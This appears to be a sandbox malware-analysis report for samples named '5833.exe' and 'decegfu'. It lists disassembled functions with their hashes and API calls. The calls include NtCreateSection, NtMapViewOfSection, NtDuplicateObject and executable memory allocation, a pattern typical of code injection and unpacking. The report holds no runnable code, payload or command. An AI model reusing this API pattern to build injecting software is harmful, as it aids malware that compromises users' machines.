API String ID: 1885482327-0
Opcode ID: a0d7dc5b12ef01b67d7d7abb145a337d6e07883d90b43eb0718f1d188bcf6ad3
Instruction ID: 9a4b4ffd5ca22a672d673467c452b15ea5c40039b4ea8ded510267d200494456
Opcode Fuzzy Hash: a0d7dc5b12ef01b67d7d7abb145a337d6e07883d90b43eb0718f1d188bcf6ad3
Instruction Fuzzy Hash: 3A01B1B6308205FADB115A949C61A7A3319AB45711F30053BB613B80F2C53D8512FA1F

Uniqueness

Uniqueness Score: -1.00%

Function 00401986 Relevance: 1.3, APIs: 1, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: dfdb1701cc504efec387e8096027760864ea4d519eb72577fdf3181611bb8823
Instruction ID: 5a2bb716a64f0a1f1a6e426f0b200f3e6862a670896c4db1e76ea4af0659c5ba
Opcode Fuzzy Hash: dfdb1701cc504efec387e8096027760864ea4d519eb72577fdf3181611bb8823
Instruction Fuzzy Hash: 3101DFB2308205FADB005AD49C62F7A3219AB85715F30453BB623B80F1C63D8512FB2F

Uniqueness

Uniqueness Score: -1.00%

Function 02DC6822 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02DC6873

Memory Dump Source

Source File: 0000000D.00000002.1690627689.0000000002DC0000.00000040.00000020.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2dc0000_decegfu.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 968b776e5f5614602493b24801eb64eb9ce3c940fc02d4666d4ce87f553f872a
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: DC113C79A00208EFDB01DF98C985E98BBF5EF08751F1580A4F9489B362D775EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Function 004019A2 Relevance: 1.3, APIs: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: eb3a9600bf11ff3cabe16e23ccac661da4c38a337b7bb88c5ef7298d012d06b6
Instruction ID: 689da8ed0bf63c85a60a16fbbe407e4b0918199af58fa2149c0a58fdfe32668e
Opcode Fuzzy Hash: eb3a9600bf11ff3cabe16e23ccac661da4c38a337b7bb88c5ef7298d012d06b6
Instruction Fuzzy Hash: 0E0181B6308105FADB115AD49D52FBA3719AB45751F30453BB613B80F2C53D8512FB2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401992 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004019B4

Part of subcall function 00401590: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401648
Part of subcall function 00401590: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401675
Part of subcall function 00401590: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401698

Memory Dump Source

Source File: 0000000D.00000002.1688680217.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_decegfu.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: b7d1590f8382f894c6ecafb5dfb7cedd42c7ffaf4b4467f651800ba2eecc3e7b
Instruction ID: 9477092311c163758adf26378a137d016a4cc75b4861da4fd192d9fcf75081b0
Opcode Fuzzy Hash: b7d1590f8382f894c6ecafb5dfb7cedd42c7ffaf4b4467f651800ba2eecc3e7b
Instruction Fuzzy Hash: 25016D72304105FADB119AD09C52EAA3729AB48355F30457BB613BD0F2C63D8552EB2B

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 5833.exePID: 7828, Parent PID: 4056COMMON

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	74.6%
Signature Coverage:	0%
Total number of Nodes:	63
Total number of Limit Nodes:	4

Executed Functions

Function 00401643 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401700
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040172D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401750
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040176E
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017AF
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017E0
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401802

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 98eabf08eee9c31f9809f2012c25f391acd72242e62d15837aafc8d49eb85b6b
Instruction ID: ea1668f80a3d633de61b1389a59e27cf8d7a9a692cb357699e3f593382063afa
Opcode Fuzzy Hash: 98eabf08eee9c31f9809f2012c25f391acd72242e62d15837aafc8d49eb85b6b
Instruction Fuzzy Hash: D06150B4600244FBEB208F91CC49FAF7BB8FF81700F14412AF952BA2E4D6759941DB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040164E Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401700
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040172D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401750
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040176E
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017AF
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017E0
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401802

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: cfdda8187b09d18ed3e6a4b7a08e5bd35a22d218b6df43040d5bb535df456d64
Instruction ID: f0894f35bc78d432a781979ef669767eac5276ca4c00debcef733176fb8306ef
Opcode Fuzzy Hash: cfdda8187b09d18ed3e6a4b7a08e5bd35a22d218b6df43040d5bb535df456d64
Instruction Fuzzy Hash: 755138B1900248AFEB208F91CC48FAFBBB8FF85700F14412AF951BA2E5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040165E Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401700
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040172D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401750
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040176E
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017AF
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017E0
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401802

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8980f0215e28d9a777d357f97c7234162192c4df24c6f29242b24a77177ba92c
Instruction ID: 3f36b44e2e66c225cea975ee1051a546b59fbc9e68e20d0ebae323a004fb6a67
Opcode Fuzzy Hash: 8980f0215e28d9a777d357f97c7234162192c4df24c6f29242b24a77177ba92c
Instruction Fuzzy Hash: C45109B5900249BFEB208F91CC48FAF7BB8FF85700F14416AB951BA2E5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401665 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401700
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040172D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401750
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040176E
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017AF
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017E0
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401802

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: e5d91102fc3e7421f6ba25eb4049ae336b833b89781548ecbcf964be26d9584e
Instruction ID: 0affdfc8ce7319a6a75855433190ace1911effab04cec801d74b4c0114219ee3
Opcode Fuzzy Hash: e5d91102fc3e7421f6ba25eb4049ae336b833b89781548ecbcf964be26d9584e
Instruction Fuzzy Hash: 415109B5900249BFEB208F91CC48FAF7BB8FF85700F10415AF951BA2A5D7749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401671 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401700
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040172D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401750
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040176E
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017AF
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017E0
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401802

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 28c65e370843b0a6b354b2d3e5f606387e23cefbcf5cff5af56332a596d79ec9
Instruction ID: 07036dfe533e5988a36907139dc7d2a91fd22b9068adc7a7f77f954206ef4ad9
Opcode Fuzzy Hash: 28c65e370843b0a6b354b2d3e5f606387e23cefbcf5cff5af56332a596d79ec9
Instruction Fuzzy Hash: B25106B5900249BAEB208F91CC48FAFBBB8FF85B10F104159BA51AA2E5D7749945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401683 Relevance: 10.7, APIs: 7, Instructions: 160
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401700
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040172D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401750
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040176E
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017AF
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004017E0
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401802

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bf1f4abf0f7f9c60c909ac4fa7e86d29db10aa61f908e0e5b8162fde22430fc9
Instruction ID: 2e69e17be7bac1b267d8d00bad682569d7d1f51cfeb338562c9d33af523e1dda
Opcode Fuzzy Hash: bf1f4abf0f7f9c60c909ac4fa7e86d29db10aa61f908e0e5b8162fde22430fc9
Instruction Fuzzy Hash: 3251E6B5900249BEEB208F91CC48FAFBBB8FF85B10F104159BA51AA2A5D7709945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0042C9A0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 393
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAlloc.KERNELBASE(00000000,007B7674), ref: 0042CCFD
GlobalFlags.KERNEL32(00000000), ref: 0042CE59
LocalSize.KERNEL32(00000000), ref: 0042CE5D
LoadLibraryA.KERNELBASE(004040A0), ref: 0042CE80

Strings

LF@, xrefs: 0042CBE7
8F@, xrefs: 0042CC88
(H7, xrefs: 0042CA5D

Memory Dump Source

Source File: 0000000E.00000002.1863964212.000000000042C000.00000020.00000001.01000000.00000006.sdmp, Offset: 0042C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_42c000_5833.jbxd

Similarity

API ID: Global$AllocFlagsLibraryLoadLocalSize
String ID: (H7$8F@$LF@
API String ID: 2181924483-3464654758
Opcode ID: c7f6b99603b84bfbba7c194f3bdd3e46480b5e7f9101ab015c440ef38099e7e6
Instruction ID: 8dd8897d81b8e744862d12ce84aa735a9be2d98844e96445829dbb608474daf8
Opcode Fuzzy Hash: c7f6b99603b84bfbba7c194f3bdd3e46480b5e7f9101ab015c440ef38099e7e6
Instruction Fuzzy Hash: 47F1A4B16483809FD320DF64DD85F9EB7E4BB84704F50452EF689A72E0DBB86844CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0088003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0088024D

Strings

kernel32.dll, xrefs: 0088008F, 00880095
cess, xrefs: 0088018D

Memory Dump Source

Source File: 0000000E.00000002.1864227492.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_880000_5833.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: aac36b1d1735d88017c5ffbfa41392513043c77e30cf763340a148cb817e5263
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 3D527974A01229DFDBA4DF58C984BA8BBB1BF09304F1480D9E50DAB351DB30AE88DF15

Uniqueness

Uniqueness Score: -1.00%

Function 0094E14D Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0094E175
Module32First.KERNEL32(00000000,00000224), ref: 0094E195

Memory Dump Source

Source File: 0000000E.00000002.1864414709.0000000000948000.00000040.00000020.00020000.00000000.sdmp, Offset: 00948000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_948000_5833.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: bdd5357a715453297f5283713530e5fd449c0208577715410e4259cc460b6317
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 26F06D36240715ABE7202BF9A88DF6F76ECBF49764F100628E642910C0DA70E8458A61

Uniqueness

Uniqueness Score: -1.00%

Function 00880E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00880223,?,?), ref: 00880E19
SetErrorMode.KERNELBASE(00000000,?,?,00880223,?,?), ref: 00880E1E

Memory Dump Source

Source File: 0000000E.00000002.1864227492.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_880000_5833.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: f2f6d8dcacfc00e91535e2c3d4d44eba824c5639ec75f1ad12dbbdf9da4bc129
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: D6D0123114512877D7403A94DC09BCE7B1CDF05B62F008411FB0DD9080C770994047E5

Uniqueness

Uniqueness Score: -1.00%

Function 00411915 Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?), ref: 00411958

Memory Dump Source

Source File: 0000000E.00000002.1863964212.000000000040B000.00000020.00000001.01000000.00000006.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_40b000_5833.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c306e2e577ef395a015d6553d6c6b6196e27a397b503b20f24a81e70c5399ec7
Instruction ID: 9877d9c0bcdf7dcd72dc65595a5e8628669935695e08092c9abcdca83a7f5164
Opcode Fuzzy Hash: c306e2e577ef395a015d6553d6c6b6196e27a397b503b20f24a81e70c5399ec7
Instruction Fuzzy Hash: 9801D8712212159BEF299F25DD24BFB3754AF41360F04452BE965DB2F0DB78DC80C658

Uniqueness

Uniqueness Score: -1.00%

Function 0042C370 Relevance: 1.5, APIs: 1, Instructions: 31
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(007B75DC,007B7674,00000040,?,?,0042CE24), ref: 0042C408

Memory Dump Source

Source File: 0000000E.00000002.1863964212.000000000042C000.00000020.00000001.01000000.00000006.sdmp, Offset: 0042C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_42c000_5833.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6ab372e5a4c6966e21f8dba7735d910b356df5ef8751ac1ee8ab049f2c9ca1e1
Instruction ID: a6b24d280459cdc9f6b0b6ccd57260f745f809b05250c5f9c75a86d0b23a2800
Opcode Fuzzy Hash: 6ab372e5a4c6966e21f8dba7735d910b356df5ef8751ac1ee8ab049f2c9ca1e1
Instruction Fuzzy Hash: 7B01E8F011AA84DED305CF65BD85B153B64AF98717F10A26DE1458A2B4C7B54250CB2D

Uniqueness

Uniqueness Score: -1.00%

Function 00401A1D Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000003D), ref: 00401A6D

Part of subcall function 00401643: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401700
Part of subcall function 00401643: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040172D
Part of subcall function 00401643: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401750

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2d9cf68770300fb46e52bd0068359d3654cd2b059251165263ba48460804b579
Instruction ID: aac1226502fc97af4082410c1bb9649e347d7ae996472d597d8c289131fd23d4
Opcode Fuzzy Hash: 2d9cf68770300fb46e52bd0068359d3654cd2b059251165263ba48460804b579
Instruction Fuzzy Hash: 5411A53134A244EBDB00AA949D41E7A36689B41754F3440B7BA03B80F1D57D8A536F6F

Uniqueness

Uniqueness Score: -1.00%

Function 00401A38 Relevance: 1.3, APIs: 1, Instructions: 58
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000003D), ref: 00401A6D

Part of subcall function 00401643: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401700
Part of subcall function 00401643: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040172D
Part of subcall function 00401643: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401750

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: f467b4336170dbffb9fcf99c95f60685809c31cff1ae00ba4cc2a06331c3aea4
Instruction ID: 53570a43b822efe1062c920f709cd9560b642a470a8380491d1e0864c82cb8ee
Opcode Fuzzy Hash: f467b4336170dbffb9fcf99c95f60685809c31cff1ae00ba4cc2a06331c3aea4
Instruction Fuzzy Hash: 8601803535A245EBDB00AA809D41E7A3368AB40B54F3441B7BA13B80F1D67D8A53BF1B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A28 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000003D), ref: 00401A6D

Part of subcall function 00401643: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401700
Part of subcall function 00401643: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040172D
Part of subcall function 00401643: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401750

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: f9eb44ab06e651d2d8e31a14934f4801a0921a70edf75d3e41bc55f9a2eb024c
Instruction ID: b14e11bd5fff741be5464bd91fb84129542ba958465db7b06d5bc40ad72645dc
Opcode Fuzzy Hash: f9eb44ab06e651d2d8e31a14934f4801a0921a70edf75d3e41bc55f9a2eb024c
Instruction Fuzzy Hash: 9101963530A241EBDB009A909D81E7A3764AB41754F3440B7B613B90F2D63D8A53AF1F

Uniqueness

Uniqueness Score: -1.00%

Function 00401A3C Relevance: 1.3, APIs: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000003D), ref: 00401A6D

Part of subcall function 00401643: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401700
Part of subcall function 00401643: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040172D
Part of subcall function 00401643: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401750

Memory Dump Source

Source File: 0000000E.00000002.1863944109.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_5833.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 614600c3b7adbe5eaa66166cd8e3700211f5b1b3827a0fd285e21136042b0a2e
Instruction ID: 0025f48c4237f482ca1a71c540578ce26652b69d23db2cac90d38e3e788ce800
Opcode Fuzzy Hash: 614600c3b7adbe5eaa66166cd8e3700211f5b1b3827a0fd285e21136042b0a2e
Instruction Fuzzy Hash: 1101AC3535A185EBDB006A909D81EB93768AB41764F3440B7B613780F2D63D8653AF1B

Uniqueness

Uniqueness Score: -1.00%

Function 0094DE0C Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0094DE5D

Memory Dump Source

Source File: 0000000E.00000002.1864414709.0000000000948000.00000040.00000020.00020000.00000000.sdmp, Offset: 00948000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_948000_5833.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 3aa224ab8361798e507bb4fb8b677ef93971924e8dc56b676d9c77eefc6681a4
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 47113C79A40208EFDB01DF98C985E99BBF5AF08350F058094FA489F362D371EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00401A50 Relevance: 1.3, APIs: 1, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000003D), ref: 00401A6D

Part of subcall function 00401643: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401700
